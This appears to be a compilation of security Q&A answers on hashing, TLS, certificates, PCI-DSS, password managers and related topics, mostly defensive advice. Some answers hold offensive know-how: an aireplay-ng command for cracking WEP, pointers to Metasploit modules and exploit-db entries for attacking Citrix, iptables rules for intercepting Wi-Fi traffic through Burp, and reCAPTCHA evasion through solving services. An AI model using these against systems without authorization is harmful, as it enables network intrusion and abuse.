HTTP Authentication with bcrypt done right

You want to use bcrypt for storage on the server side: that's good. You have to remember why you do that: it is because you fear that the server's storage area may be plundered in some way, and you want an extra layer of protection. The point of bcrypt (or any other similar password hashing function) is to make dictionary attacks more expensive: there is a salt (to prevent parallel attacks on many hashed passwords, and precomputations), and there are many iterations (to make each guess expensive).

You thus want to maximize the number of iterations. This implies that the hashing has to be done on a fast computer. A smartphone running Java code is not fast (a recent enough Android version includes a Java VM with a JIT compiler which will offer not-too-pathetic speed, but the result will still be uncompetitive with the server's abilities). Therefore, you really want the bcrypt to happen on the server side. Even if obtaining the salt from the server was acceptable (from a network latency point of view), the lack of CPU performance on the client side would be debilitating.

Therefore, your problem really is about how to transfer a very sensitive information (the password) from the smartphone to the server, making sure that it does not get intercepted while in transit. Since an app cannot contain secrets (because reverse engineering works, and that's not exclusive to Java), you will have to use asymmetric cryptography, with a public/private key pair, such that the server owns the private key, and the client can make sure that it uses the right public key (and not a fake attacker-controlled key). At that point, you are pretty close to SSL.

Using HTTPS would be the simplest method to achieve what you seek; in particular because the phone already includes all the needed code.

It might be argued that HTTPS implies too many network round-trips. It is conceptually feasible to do better when what you want is a one-way transmission of some secret data to the server; in that case, you can mimic the email model, which then points at OpenPGP. You could asymmetrically encrypt the password to send, using the known server's PGP public key (hardcoded in the app -- that's not a problem, it is a public key), and sending the result as a single HTTP request. This minimizes network traffic, while still relying on an encryption format which has survived some amount of external review. A Google search on "android openpgp library" yields a few useful pointers for the actual implementation.


I'm assuming you are using a fat WPF or Forms client, and not a webpage, because the easy answer is ADFS v2 in passive mode.

If you're using TCP, you’ll need the authenticated stream class

https://docs.microsoft.com/en-us/dotnet/api/system.net.security.negotiatestream?view=netframework-4.8


OpenSSL generate different types of self signed certificate

(EC)DSA
For a DSA key pair, use this:
openssl dsaparam -out dsakey.pem -genkey 1024

where "1024" is the size in bits. The first DSA standard mandated that the size had to be a multiple of 64, in the 512..1024 range. Then another version deprecated sizes below 1024, so a valid DSA key size had length 1024 bits and nothing else. Current version specifies that a valid DSA key has length 1024, 2048 or 3072 bits. OpenSSL accepts other lengths. If you want to maximize interoperability, use 1024 bits.
For an ECDSA key pair, use this:
openssl ecparam -genkey -out eckey.pem -name prime256v1

To see what curve names are supported by OpenSSL, use: openssl ecparam -list_curves
(For optimal interoperability, stick to NIST curve P-256, that OpenSSL knows under the name "prime256v1".)
Once you have a DSA or ECDSA key pair, you can generate a self-signed certificate containing the public key, and signed with the private key:
openssl req -x509 -new -key dsakey.pem -out cert.pem

(Replace "dsakey.pem" with "eckey.pem" to use the EC key generated above.)

(EC)DH
For Diffie-Hellman (with or without elliptic curves), things are more complex, because DH is not a signature algorithm:

You will not be able to produce a self-signed certificate with a DH key.
You cannot either make a PKCS#10 request for a certificate with a DH key, because a PKCS#10 request is supposed to be self-signed (this self-signature is used as a proof of possession).

While OpenSSL, the library, has the support needed for issuing a certificate which contains a DH public key; this page may contain pointers. The challenge is to convince OpenSSL, the command-line tool, to do it. In the jungle of the OpenSSL documentation, I have not found a complete way to do it. Key pairs are easy enough to generate, though.
To generate a DH key pair, with the OpenSSL command-line tool, you have to do it in two steps:
openssl dhparam -out dhparam.pem 1024
openssl genpkey -paramfile dhparam.pem -out dhkey.pem

For an ECDH key pair, use this:
openssl ecparam -out ecparam.pem -name prime256v1
openssl genpkey -paramfile ecparam.pem -out ecdhkey.pem

However, it so happens that the format for certificates containing ECDH public keys is completely identical to the format for certificates containing ECDSA public keys; indeed, the format contains "an EC public key" without indication of the intended algorithm (ECDH or ECDSA). Therefore, any private key and certificates for ECDSA (private key for generating ECDSA signatures, certificate self-signed or signed by any other CA) will be fit for ECDH-* cipher suites.
The one case that I don't know how to produce with the OpenSSL command-line tool is a static Diffie-Hellman (non-EC) certificate. Note, though, that OpenSSL does not support SSL/TLS with static DH cipher suites either, so even if you could produce the certificate, it would not work with OpenSSL.
(And, in fact, nobody uses static DH in practice.)


Is howsecureismypassword.net safe to use?

It's very difficult to know for sure.

It appears that this website uses a client-side script to check the password, without sending anything to the server. As such it seems it's safe to use.

However, knowing that requires a certain amount of technical knowledge. At least, it requires to know how to check what a script is doing using Firebug or developer tools.

Here there doesn't seem to be any network activity, but:

A later version of this service could change its script without you noticing.
There could be awkward conditions that cause it to send a password, it could be a bug or a "feature" whereby it would record a league table of the hardest passwords it has found (that would be a stupid idea from an honest site, of course).
This website doesn't use HTTPS, so a MITM attacker could potentially replace this script to make it send the data somewhere (perhaps less likely, but possible in principle).

In general, it's a bad idea to use this sort of service precisely because it's very difficult to know what it's doing in the general case (especially for non technical users).


Can someone tell if you are using a VPN by your IP address?

If you use a public VPN service: Yes.

You know it's a VPN; so can a third-party.

Dedicated IP reduces the problem but doesn't eliminate it, as an agency could simply ask for all IPs controlled or purchased by the VPN provider; or infer it from Whois/DNS contact details or monitor propagation of software patches from a known VPN company to any server.

If you create your own private VPN: No.

At least if you don't specify what precisely you are using the box for and your VPN software doesn't leave open obvious ports or phone home for patches.

Regarding IP spoofing: Most ISP routers reject spoofed IP packets nowadays, so that option is ruled out. If you start using onion routing then you have really replaced one VPN with multiple VPNs


How can users be sure the browser's URL bar is not faked?

This is a subject that could go on forever, but some common practices against any site that you find suspicious are as follows:

Use google to direct you to the same site
If it happens to be a log in page, log in with completely fake credentials to ensure that it doesn't let you in. If it says "Thanks for logging in." or something similar, then it's a phishing attempt.
Ensure that the link is an https connection (This one is disputed, but it's an early warning sign if you don't see https)

There are many other ways to detect similar phishing sites, but these are my top suggestions.


How to report vulnerabilities without being regarded as a hacker?

Simply reporting that it is using HTTP rather than HTTPS for login and that that is insecure shouldn't get you accused of hacking.  It is something immediately publicly visible from looking at the site.

There are many ways of detecting vulnerabilities which could actually be considered hacking (for example, running a vulnerability scanner against a target you aren't authorized to run it against), but I'm not aware of any jurisdictions that would consider looking at the page and recognizing a flaw that is immediately visible to be hacking. It would be a bit like walking by a house, noticing that someone was leaving their door open when they were leaving and being accused of being a thief when you pointed out to them they left the door open (while you aren't even standing on their property.)


Best practices for Apache Server hardening?

Grab the Center for Internet Security (CIS) guide for securing Apache (it describes in detail how to enhance the security):

Edit:  Updated link
CIS Apache HTTP Server 2.2.x Benchmark

If you have a license to Nessus, then you can run an automated check by grabbing their audit template:


How many unique house keys can possibly exist?

Here is a very short Youtube Video on how keys work. Given the space available for the length and number of the pins, and operational room for error there are only so many key combinations possible. Given all the different variables involved it's certainly possible for every person on the planet to have a unique lock, it's highly impractical.

Most vendors distribute key/lock combinations by region. Car companies (or house door lock manufacturers) for example might have 200,000 possible key/lock pairs but could redistribute the same combinations on both the east and west coasts since the likelihood of 2 people with the same key/lock combos meeting and then realizing they're the same are extremely low. Generally keys are created using "codes" where a number represents the height of the peaks on the key.

So given say 5 pins with say 10 different height possibilities you're looking at 10^5 unique possibilities. You can then add another dimension of complexity by putting ridges on the sides of the keys. I think you see where this is going. A lock could have more pins or more height possibilities depending on manufacturing accuracy and size of the lock.

If someone was to somehow have every possible key combination in one place, there is NO WAY they would be able to transport it. Let alone go unnoticed. It would take multiple dump trucks to move even a portion of the keys.


how can I bypass recaptcha while using python requests?

You asked a very interesting question that I am going to give an interesting answer too.
You can not bypass a recaptcha, unless as @schroeder stated, where there is a weakness or an option on the site where you can bypass it.  You might have to do some experimenting to see and find out if this is the case.
A more exact solution involves multiple requests, as well as requests to other websites.  First make a request that causes the recaptcha to appear.  Then take the received info and send a web request via python, to a re-captcha third party solving service, that accepts recaptcha question data from online requests.  Then from the answers you get back from them, send that as requests via python back to where it answers are sent for recaptcha questions.  This way you are solving the recaptchas by sending requests via python.  hYou still are not bypassing, however you are sending requests via python to get thru the recaptcha.
Another solution for python might be able to solve the recaptcha, and send a request so that the recaptcha is passed.  Basically when you solve a recaptcha, your results are sent via POST request.  Although not exactly a 100% answer to your question, but it does involve sending requests via python.
Solving the recaptcha in using python however would require intense machine learning, precise image recognition, and AI programing knowledge, most of those are probably still not yet at par 100% to successfully do every captcha.  Also, the recaptcha was designed also to be difficult for bots to solve even.


Detect duplicates without exposing underlying data

I think you're not too far from a possible solution (aka using a modern KDF and effectively treating this like a password).  However, there are some more considerations (which were already mentioned in comments):

SSNs have very low entropy, which means that brute-force is an especially easy attack
Since you need to find if the SSN has been used anywhere, you basically have to operate without a salt, which also makes brute-forcing substantially easier.

The combination of 1 & 2 would make a KDF a bad idea, even though it is your only option.  As a result, finding a different business solution may be in order.  However, I think there are a few steps you can take to mitigate the risk if SSN matching is an absolute requirement:

Make sure and use a large "pepper".  Peppers are less commonly used with passwords, so in case you aren't familiar: using a pepper basically means adding a large, constant, random string to the SSN before hashing which is not stored in the database.  In this case I would use an especially long pepper.  So in practice, this means that you create a 256 bit key that is not stored in the database or codebase but which is added to the SSN before hashing it.  You would store it in an environment variable in your production server, or in your CD pipeline, so it is not readily accessible to developers (since they are sometimes the attacker, unfortunately).  The reason for this is that if your database leaks but the attacker doesn't have the pepper, then they cannot bruteforce the SSNs (because bruteforcing the SSN would basically require first bruteforcing your 256 bit key, which is impossible).
Use a very large cost function.  All modern KDFs have a configurable cost function, that increases the time it takes to buid the hash (therefore making brute force harder).  For something like this I'd set an even-higher-than-usual cost function.  I'd probably tune it so that your systems take 1-2 seconds to hash the SSN+pepper.  Go even higher if your users can tolerate the wait!  This won't fix your bruteforce issue, but it will help.
Anonymize these hashed SSNs!  Basically, store them in a table by themselves with no way to associate them with any other data in the system (i.e. don't assign an autoincrementing id to this table or an entry time, since those might correlate with other tables).  Have one table with just one column that is for this purpose and this purpose only.  While the SSN alone is still personal information, it is much less dangerous to your users if it is leaked by itself without any further information.  Having a table with just the hashed SSNs will still allow you to verify if an SSN has been entered before, so your overall goal can still be accomplished.

So again, your best bet might simply be to find a completely different way to do this without using SSNs.  However, if this is an absolute business requirement, then the above steps can go a long way to securing your customer's personal data.  Still, I would also check with regulatory requirements for your industry to make sure that you abide by all applicable rules.


I do not know of any other methods to crack WEP as this is probably the fastest way and a technique you can be sure will end up giving you the key.

That said, you may want to check that command

aireplay-ng -3 –b 98:fc:11:c9:14:22 –h 00:c0:ca:50:f8:32 mon0

The second mac in there is supposed to belong to a client already authenticated on the AP when you start the capture, this should not be any random one.

Other than that, as said in the comments, only thing I can see is your wireless card is badly configured, you have the wrong drivers, or it is simply not supported (which the card you seem to have should be).

If everything goes right you should get IV's very quick. With a bad wireless card i manage to get approximatively 10K each 3-5 minutes


How to evaluate different solutions for security tokens?

How can I compare those companies and their products to each other?

It's quite difficult. You are not going to be able to do a variable to variable comparison. In cases like this I sugges you go for second order effects. Who are their customers and how closely do their authentication needs match yours? How do the companies who offer tokens deal with issues technical and non technical?

  How can I make an educated decision, which product fits my requirements and provides the best security?

Depending on how forthcoming their sale team is will to be it may be difficult. Try to understand the risks you are mitigating with multi-factor authentication and the consequences of failure. See of the companies offer insurance in the case of failure and what form that insurance would take. Will they help you detect a breach? What about containment and remediation? Where do they stand on user training? Will they help keep you aprised of relevent threats? If you cant get at the specifics of the technology try to understand the larger benefits and drawbacks. Technology only implements security policy, make sure that their technology will implement the policy you desire.


Creating a unique password for each device

Why not make the user create a password when the device is booted for the first time? Or you could also create a random password for each device.


PCI-DSS compliance in scope if part of card number and expiry stored only?

IANAQSA!  That data doesn't put you in scope, but you're probably in scope anyway, but dint of whatever relationship you're in that gets you access to that non-scoped data.

To quote PCI-DSS 3.2 (emphasis as per source):

  The primary account number is the defining factor for cardholder data. If cardholder name, service code, and/or expiration date are
  stored, processed or transmitted with the PAN, or are otherwise
  present in the cardholder data environment (CDE), they must be
  protected in accordance with applicable PCI DSS requirements.

If you never have the full Primary Account Number, then you do not have cardholder data.  That is not to say that you're not subject to the DSS, however.  Even a merchant who outsources all handling of their card data to their service provider is subject to something like the SAQ A (Self Assessment Questionnaire).

What you're describing (first 6, last 4) is called Truncation and is described in section 3.4 of the DSS.  So someone - your service provider? - is truncating card numbers and handing those to you in lieu of card numbers.  If that's the case, your service provider should be authoritative for helping you figure out what your scope is under the DSS.

It comes down to this:

  PCI DSS applies to all entities involved in payment card
  processing—including merchants, processors, acquirers, issuers, and
  service providers.

Do those truncated numbers put you in scope?  No.  If you're receiving truncated numbers, are you likely in a relationship that makes you subject to the PCI DSS as above?  Very likely, yes.


Logs record every action as it happens:

[timestamp] User A did action Y
[timestamp] User B did action Z
[timestamp] User C did action Y
...

Audit trails go much further into the connections between the actions and what other things happened as a result.

[timestamp] User A did action Y
[timestamp] System received Y and did action Z to data store
[timestamp] Data store was updated with data and sent notification back to User A
...

Logs tell you what an actor (user or entity) did. This is enough if you want to monitor who did what when.

Audit Trails tell you what sequence of actions occurred in order for a certain state to be created. This is what you want if you need to confirm how and why the system or the data is in a certain state.

And, in some cases, people use the terms interchangeably ...

In a test environment with production data, it is not enough to know that the devs logged in, for instance, but it is important to be able to prove that production data didn't leave the approved area. Audit trails help you prove the state of the production data at all times.


How do I make sure access token comes from authenticated user?

As @multithr3at3d commented, if the attacker already has local access its game over. There isn't much you can do to protect against session hijacking if an attacker has compromised your user's device. You could try to check the IP of the client when it makes a request to ensure that it is the same IP from which the session was initiated. This isn't a good idea for several reasons. It wouldn't prevent an attacker that shares the same IP (i.e. connected on the same WiFi). It wouldn't really stop an attacker who has installed malware on the victim's computer, since they could proxy their requests through the victim's computer. And it would be a major inconvenience if someone's IP changes during a valid session.
The best you could do is expire sessions after some period of inactivity combined with requiring reauthentication before performing critical actions to reduce the window of attack for attackers who somehow stole the access token. Again, this wouldn't help much in the case of an attacker with local access, since they could simply steal the token again when the user logs back in, or better yet, keylog their login credentials.


Tracing an IP from a mobile broadband ISP

After reading a study about this (Geolocating IP Addresses in Cellular Data Networks), it looks like most of the cellular companies will assign a private IP address to your device, even though there are some which assign public IP addresses. Having a private IP address, means that you are behind a NAT owned by the provider, which is actually your gateway to the Internet. This gateway, not only that it can be (physically) in another country or even continent, but also sometimes the geolocalization will point it differently compared to its current location, due to administrative reasons.

For the anonymization of the data network, most probably using a VPN (most smartphones have this feature) is the way to go... as long as your VPN is anonymous (depending on your provider - no logs kept, etc).


Manage SSL certificates for a multi-tenant website

You have the options of using let’s encrypt and certbot which automates this process somewhat, as Steffen pointed out in the comments.

Keep in mind that both let’s encrypt and SNI may result in problems with older browsers and operating systems, because some do not support SNI and some do not trust let’s encrypt.

Another (for this Szenario not appropriate) way is to get one certificate for all subdomains, but that’s not meant for this case and will lead to many more problems.


Normally all *.php files (if setup correctly) will be executed, and nobody will be able to download it's source code.  When you have files such as db-functions.inc, people may be able to render this in their browsers; which is what you don't want.

The handy thing of having non-public accessible directories is that you can store backups files (dbdump.sql, backup.zip, ....) and you won't be able to download it directly from the browser..

BUT:

  Or is it possible to access the webapp/application/ and
  webapp/framework/ from webapp/public/ folders by some hackers ?

Unfortunately, yes.  Although it's not possible to go to the directory directly (on proper web server software, one cannot simply do www.site.com/../hidden/hiddenfiles.zip), if your website has directory traversal vulnerabilities , it may be possible to access files outside of your webroot.

Input sanitation is key, the linked wikipedia article is actually a good read-up.


Access-Control-Allow-Origin wildcard doesnt allow sending session cookies

The use case of Access-Control-Allow-Origin: * is to allow cross-origin XHR from any domain. This can be useful for some public API.

But in case a site requires a user to first log in and then keep the user authenticated using session cookies (or basic authentication), XHR within this session (i.e. with credentials) is usually only expected to be same-domain or in some cases cross-origin but only from selected domains. Cross-origin XHR from arbitrary domains which includes credentials  is very likely a fatal misconfiguration. To make the most obvious case of such misconfiguration impossible the combination of Access-Control-Allow-Origin: * and withCredentials=true will fail. If you want cross-origin XHR with credentials you need to explicitly specify the origins which are allowed to do this kind of sensitive access instead of just using a wildcard.

See also MDN: Request with credentials.


TLS generates MAC for whole data or just a packet over the wire?

Data are sent within TLS in records and the MAC is computed over  the contents of the record, see http://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_record. The size of the record is independent of any packet sizes of the underlying transport layer, that is a packet can contain multiple records or a record can also span multiple packets. The record size is also independent of any file sizes since there is no idea of a file anyway with TLS, only of data.


Stealing Facebook oAuth code (not token) of no use?

A code is exchanged for a token, by way of an authenticated call by the receiving application. That means the receiving application has a client ID and secret that it uses to authenticate itself before it can get a token on behalf of the user.

In this particular case, it's all a matter of whether you can get access to the client ID and secret. You can't do anything without them, so the code is effectively useless.

There's a scenario (IOW vulnerability) where any code can be used with any client ID/secret, so you could use the code if you created your own, but this isn't particularly common and I've no doubt Facebook already accounts for this.


You simply can't unless you work for the mobile service provider, have full security clearance, and don't mind losing your job.


The server will provide its own certificate, and optionally (but recommended) all intermediate CA certs in the chain (aka the CA bundle). It need not provide the root CA cert of the chain, and the client should disregard that cert if provided in the bundle anyway, see this question for more details on that. Since the complete bundle is quite possibly unneeded overhead, in the future the client will be able state it has a cached copy of it to reduce connection setup.

The point of validation is that the client should be able to verify the entire chain up to a trusted root, so it must have a copy of the root already, and must have or obtain all intermediates.

If the client is missing intermediate CA certs it can trust those provided by the server as long as they are verifiable, it can then fill in any missing pieces using its local copies of CA certs. This is the method used for intermediate CA cert updates, so that clients can update easily (there is no widely deployed X.509 certificate fetching or publishing system analogous to PGP key servers). There can be zero, one, or many intermediate certificates in a chain.

Each certificate has only the identifying details of its immediate issuer/parent (i.e. not the entire chain) – this is recorded in the Issuer DN field, and more usefully in the AKID field (AKID/SKID PDF). The readable Issuer name may not uniquely identify a specific cert (it does not record the specific serial number). The SKID (Subject Key Identifier) is effectively a thumbprint of a certificate, and the AKID (Authority Key Identifier) is the thumbprint of its issuer, this works like a singly-linked list from the end cert (ideally) up to a trusted root (though older certificates often lack those fields, so the DNs are used instead).

Starting with the server provided chain (if present) the client should work down the list, it may add intermediate certificates it is missing to its store, if they are valid.
Then, the client should trace back up from the servers certificate, usually using the AKID field to locate the specific issuer (parent) certificate, verify, and work up until it gets to a trusted self-signed root.

The terms associated with this process are Certification Path Building and Certification Path Validation. There is no single "right way" to do it. A robust client will check from end to end, browsers typically offers a bypass (with sternly worded warnings), and on some systems you can limit the depth from the end certificate to check as an optimisation.

(Validity checking includes signature/hash, date range, CRL, OCSP, pinning  etc. and possibly DANE.)

This overlaps with both of your options, plus self-updating of intermediate CA certs.


Threats due to a stolen password db file (e.g. keepass)

If you've picked a strong master password, they've effectively got an encrypted blob of data which they can try brute force your password from, but may never succeed (Assuming that the password DB format is free from errors).

However, unlike with a website password or other online service (Chat/ssh/etc), there are no limits on how many times they can try different passwords, or on what speed the password comparison runs at - they can send copies of the file to thousands of machines and try to brute force starting from different places to minimise the time to find the password. With a website, the web server is the limiting factor - even with thousands of source machines, it will only do comparisons at a rate it can support, or it'll fall over.

For a really good password, this doesn't matter - the number of potential passwords is far too high to try them all in a useful time (assuming for the purpose of argument that whatever data you have is probably not very useful to anyone in a few thousand/million years). Picking and remembering a really good password is harder though, so it's possible that it is actually a quote from a book or common phrase, which might be tried sooner than pure brute force would suggest.

If, on the other hand, you have a weak master password, they've got an easy to decrypt list of passwords and sites, and it probably won't take them long to get access.

Additional - based on @André's comment:

As André says, if the hack occurred on a device where the database is used, as opposed to one where it is just stored (main PC vs. backup server), there is a chance of a keylogger being used to find the master password. As a result, it would be recommended not to open any password databases on machines which are suspect until they have been completely rebuilt from a clean state. Most password managers try to prevent passwords being read from memory, although this is not 100% perfect, but again, this can be avoided by not opening the database on suspect devices (or ones which you don't have control over).


How to remove Write-Only on 'encrypted USB' from Laptop

If your laptop is policy-enforced, then you must petition whoever has created your policy to change it. There is no known exploit to change this (other than getting admin access, which isn't really an exploit).

I would strongly recommend against trying to break out of your policy because these protections are usually put in place for a reason, even if that reason is silly. Besides, if there is a way for you to break the policy, malicious actors can also break the policy which is a serious security risk. Regardless, the question you have linked seems to be the best way to do things.


Advice on what to do after being hacked?

What you should do now is wipe your computer and start afresh. Treat it as a lesson learnt.

You ask whether malware can survive a professional system clean-up. The answer is yes. Once your computer has been compromised, you can no longer trust that it is safe. In fact, I wouldn't consider Microsoft tech support to do a professional system clean-up. Wipe it, start over.

What should you do once you have reinstalled your system? Firstly, grab a good antivirus. Microsoft Security Essentials is an excellent free one. Tinker with your firewall. Set it to deny all network traffic, except the ones you allow. ONLY allow traffic that you trust.

You will probably want to change the passwords of your online accounts. See XKCD #936: Short complex password, or long dictionary passphrase? on how to choose a good, strong password. Alternatively, consider a password storage solution like LastPass or KeePass.

To prevent future attacks from happening, use common sense. Don't click on suspicious links, don't open suspicious email attachments. Be more wary of anything you find on the internet.

Make regular backups. Starting fresh once your system is compromised can be a huge pain. Having a known clean backup to restore from can somewhat ease that pain.


Avoid brute-force enumeration of customers in a SaaS application

Adding a hard to guess string would only be security through obscurity (but somewhat effective in this instance to protect against enumeration).

You can state the security / convenience tradeoff (when using /customername) in your Terms & Conditions

You can also ask the customer to make a choice (when signing up or registering).

With the default option (using customername in the URL), anybody (including competitors) can easily go to the same URL and thus confirm that they are using your service.
If they wish to hide the fact that they are using your service, they must use an obfuscated URL (which would essentially serve as secret for that customer).

Before you implement the above, it would be useful to find out if your customers really care about it.

My guess is that they couldn't care less and the above choice would just be a source of confusion (depending on who does the actual signup at that company).

Your goal is to keep the process as simple as possible.

A better way perhaps, is to state the potential issue in your T&C and the customer can request to have their access URL obfuscated.

If they care about security, they will be reading the terms.


Database security: Remove superuser role

I'm not sure that Least Privilege is necessarily the correct term for it since least priviledge is more about giving a particular use case no more access than it needs, but it is a fairly established principal that if a feature is not used by any use case, it should be disabled.

Security is about balancing risk vs usability.  If a feature has the ability to be abused and is not used, then it is an easy risk to balance.  Since there is no benefit and there is risk, you remove it.  If there is benefit, then the benefit of the feature must be evaluated compared to the risk of a privilege escalation managing to get a hold of that functionality.


In short, you don't need SOFTWARE, you need KNOWLEDGE. Seek that first, then the tools can help.


SSL/TLS Vulnerabilities - Which are still relevant?

I think all these flaws are fixed in the latest version of TLS. As the other answer says, you can be vulnerable to some of them depending on the versions your software allows. If you are concerned about this, you should search for each one to see in which version they have been fixed, and configure your server accordingly.


There are many vulnerabilities, CVE or not, in all of Citrix's products -- http://www.cvedetails.com/product-list/vendor_id-422/Citrix.html -- but I would especially target each with tools such as Burp Suite Professional (copying or modifying HTTP headers appropriately, such as replaying a User-Agent header), or, if Windows, you will want to use a tool such as FuzzLabs -- http://fuzzlabs.dcnws.com -- perhaps along with a debugger or fault monitor, such as Immunity Debugger. The book, "Windows Stack Exploitation" goes in depth with the latter. There are also five clever Nmap NSE scripts: citrix-brute-xml, citrix-enum-servers, citrix-enum-servers-xml, citrix-enum-apps, and citrix-enum-apps-xml and a great third-party contributed NSE script: vulscan.

Yokoso has fingerprints for some Citrix services -- http://yokoso.inguardians.com -- These signatures are also likely to be in the Nmap http-enum NSE script.

metasploit-framework has:

use .*citrix_stream <tab>, <tab> <tab> (for port 6905)
use .*citrix_access <tab> (for port 443 in a Citrix environment)
use .*citrix_pub <tab>, <tab> <tab> (for port 1604)

Nessus has:

http://www.tenable.com/plugins/index.php?view=single&id=62310
http://www.tenable.com/plugins/index.php?view=single&id=42961
http://www.tenable.com/plugins/index.php?view=single&id=56282v
http://www.tenable.com/plugins/index.php?view=single&id=63339
http://www.tenable.com/plugins/index.php?view=single&id=59310

exploit-db has:

https://www.exploit-db.com/exploits/17582/
https://www.exploit-db.com/exploits/17583/

Some of the best work I've seen is the seminal work on July 2009 and July 2008 from InsomniaSec (Brett Moore, et al) -- https://www.insomniasec.com/releases -- check out the prezos "Heaps about Heaps" and "Hacking Citrix".


iptables intercept received packet with proxy and then forward to destination

If I understand correctly, your computer serves as a Wifi Access Point, so it should have a dhcp server running on wlan0, is that so ?

Assuming this is the case, First you need to have /proc/sys/net/ipv4/ip_forward set to 1 instead of 0 (if you are using IPv4, I don't know the equivalent for IPv6, if there is any)

The iptables command you are looking for is

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
or

iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-destination <eth1 IPv4 address>

This will masquerade all IP addresses from wifi to one eth1 has and magically redirecting all response packets to the correct device on the wifi network

To use Burp, the simplest thing to do is to configure Burp as a proxy on the wifi devices. If not possible, You need to set two listeners with "Invisible Proxy support" for Burp, one for HTTP (let's say on port 8080) and one for HTTPS (let's say on port 8443). Then the iptables commands will be :

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 8080
and

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIECT --to-ports 8443

If I remember correctly, that should do the trick.


How does the digital signature verification process work?

OK, the answer so far are fundamentally on track, but I'm going to try to take your questions as they came in:

* where did this public key come from?

A public key is part of a key pair used in asymmetric cryptography. There are many encryption algorithms out there, but boils down to a public key and a private key which are mathematically linked.  They can be used this way:

Encrypt(public key, original data) -> encrypted data

Decrypt(private key, encrypted data) -> original data

The nature of the mathematical relationship between private and public key are related to the cryptographic algorithm and quickly become a good topic for Math Overflow. :)

The pivotal part is that their is a pair of keys that were generated together.

Next, to deal with a digital signature, the sender sends:

the original data, the encrypted data, the public key, and information about how to verify the signature (for example, what algorithm is being used)

The verifier performs the Decrypt operation above and compares his output with the original data.  If the two are the same, he knows that the message was not tampered with, because only the sender has the private key, and there is no reasonable way to determine the private key from the public key.

taking this a little bit out of order...

* and what is the role of the certification authority in this process?

Anyone can make a private/public key pair.  It's a pretty easy task, given today's toolkits.  So giving you my public key, along with the encrypted data and signature as described is just about as trustworthy as giving you a business card that I had printed at Staples for $50.  To really trust that I am who I say I am, and am therefore trust worthy, you need someone to sign off on my identity (like checking a driver's license).

That's the Certificate Authority's job (CA for short).  The CA has it's own key pair - and it uses it's private key to sign a digital certificate for the key holder.  The certificate includes the public key, as well as a bunch of information about the person or thing holding this private key.  This is like my government making me a nice looking id with a picture that can't be easily faked without special equipment - you can believe my information because you trust the government...  no because you trust me.

Usually when a system verifies a signature, it not only checks that the encrypted data matches the original data, but also that a certificate that vouches for the identity of the public key holder is also properly signed by a trusted source.  Usually CA systems are organized in chains of CAs that originate from a Root.  A collection of the more prominent root CAs (which are self-signed, ie, signed by their own private keys), can be found in your browser.

For highly secure systems, additional checks of up to the minute status information can be performed.  It all depends on how important it is to be absolutely sure of the sender's status.

* and how is it (the public key) distributed to the receiver?

Double checking here - do you mean the receiver of the certificate or the holder of the key?

The sender (key holder) can get a key pair and a certificate in a variety of ways.  The simplest way is to make them locally, and then apply to the CA for a certificate, submitting the public key data.  In other cases, keys may be made centrally and distributed by secure channels to the key holders.

In most signature cases, the key pair are made by the key holder, because it limits the potential that the private key is exposed.

When a signature is created and sent to a recipient, it is typical for the public key to also be attached to the message (for example, a standard for this is XMLDSIG where one optional field in the element is a digital certificate, which includes the public key).

In cases where bandwidth is an issue, the public keys may be held in a central repository - like an employee database, or often an Active Directory or other LDAP server.  Then the signature can reference the sender's identity and the verification process can include a request to the repository to retrieve the public key.

* how the public key is identified for the specific digital signature?

Usually through a digital certificate.

When the sender goes to create a digital signature, he typically has rules associated with what key pairs he can use for what purposes.  In the X509 certificate standard, certificates identify a Key Usage field that spells out specific purposes for the key pair described by the certificate.  One of those uses happens to be Digital Signature, and many software systems won't let you create a signature without that setting in the certificate.

The CA actually determines these settings before it signs the certificate.  In many security policies, certain key usage settings cannot be granted without specific authentication processes, so the responsibility for figuring this out rests on the CA and the people in charge of it (typically RAs, Registration Authorities).

If, for some reason, you have a system that does not use digital certificates, there may be other ways to determine what key pair.  In the end it comes down to the security policies in place and what is deemed appropriate for the given activity that required the signature.


How can I encrypt a file with .NET and have the same file size of the original file?

Even if you use CTS, you still need an initialization vector (IV) which MUST (I insist, MUST) be generated anew for each file with a cryptographically strong pseudo-random number generator. So you will not be able to fit all of it without increasing the size. This is unavoidable, as long as you use a "normal" block cipher.

Also, if you need encryption, then you most probably need integrity, i.e. a MAC, which, intrinsically, requires a bit of extra space.

What you could try is to compress the file before encrypting it (System.IO.Compression.DeflateStream); this could give you the extra breathing space you need (not in a guaranteed way, but it will work, especially if the file you need to encrypt is an XML file or something like that, with a lot of structure).


I assume that you are asking about the list of cipher suites sent from the client to the server in the first message of the TLS handshake. A browser needs configuration, and potentially code, to implement a cipher suite. As changing the configuration and code requires development and (lots of) testing, browser vendors frequently don't bother to port all cipher suites to all supported browsers. In part this is due to laziness, though spending effort to support the latest-and-greatest cipher suite if it is not widely used by servers does seem like a poor use of limited resources.

So browser vendors try to choose a set of cipher suites that will provide universal connectivity with servers as well as sufficient security.

Over time, browsers tend to add stronger cipher suites to their implementation and drop support for weaker suites.

The exact set of available cipher suites varies from one version of SSL/TLS to the next. The Wikipedia has a nice table showing how old cipher suites have become insecure and were then dropped from later versions of the the protocol. You can see the draft list cipher suites for upcoming TLS 1.3 protocol.


Spam that comes from names in my address book, but not their email addresses

I have noticed SPAM which meets this description, and which I infer is the result of address book compromises of people who have me in their contacts.  For half a dozen of my acquaintances, I began receiving SPAM with the following characteristics:

My friend's name ("JOHN WAYNE") in the From: field, but with a different actual email address, often at yahoo.com ("rikhanis@yahoo.com")
Subject is my first name, or some simple variation ("GREG", "FOR GREG")
From, To, and Subject often all caps
One-line SPAM with links:

greg, hey. look what I found! http://www.BAD.kr/bbs/data/bearangerchristophergordon/

GREG, HI. YOU NEED TO VISIT THIS http://www.BAD.com/babyelementmarkphillips/

hey greg http://BAD.net/diagramcyclingtimothymurphy/

None of the friends who were named in these messages could find anything with antivirus... but none of them were technically competent, either.  However, given the ongoing repetition of SPAM with their names but different email addresses, I'm concluding their address book got compromised and the spambots are using that to tailor the SPAM.


A -> B: {A, N}Kab means that A sends to B a message containing A and N, and encrypted with a secret key shared by A and B.

  So Bob can use the key to decrypt and retrieve "A".

No, Bob uses the key to decrypt the response and retrieve the nonce N and the identifier A. From this, Bob knows that the response

contains the nonce N Bob sent beforehand;
